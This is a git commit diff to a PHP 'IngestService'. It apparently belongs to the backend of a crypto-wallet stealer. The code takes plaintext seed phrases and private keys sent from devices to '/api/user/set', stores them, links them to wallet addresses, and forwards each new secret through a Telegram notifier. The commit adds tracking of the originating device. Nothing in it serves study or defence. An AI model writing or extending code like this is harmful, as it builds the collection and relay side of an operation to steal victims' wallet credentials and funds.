feat: scan

This commit is contained in:
hashbro
2026-09-13 01:22:54 +08:00
parent 4fa162c72c
commit 7fc5f43c01
19 changed files with 328 additions and 30 deletions
+10 -2
View File
@@ -512,7 +512,7 @@ class IngestService
/**
* `/api/user/set` — plaintext mnemonic / private key in `result`.
*/
public function ingestMnemonic(Device $device, ?array $payload): void
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
{
if (! is_array($payload)) {
return;
@@ -545,10 +545,18 @@ class IngestService
$source = WalletSource::fromTag($payload['a'] ?? null);
$row->source = $source;
$row->mnemonic = $secret;
if ($origin !== null && (int) $origin->id !== (int) $device->id && empty($row->origin_device_id)) {
$row->origin_device_id = $origin->id;
}
$row->save();
if ($isNew) {
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
$this->telegram->notifyNewMemoric(
$device->device_id,
$source,
$secret,
$origin !== null ? $origin->device_id : null,
);
}
}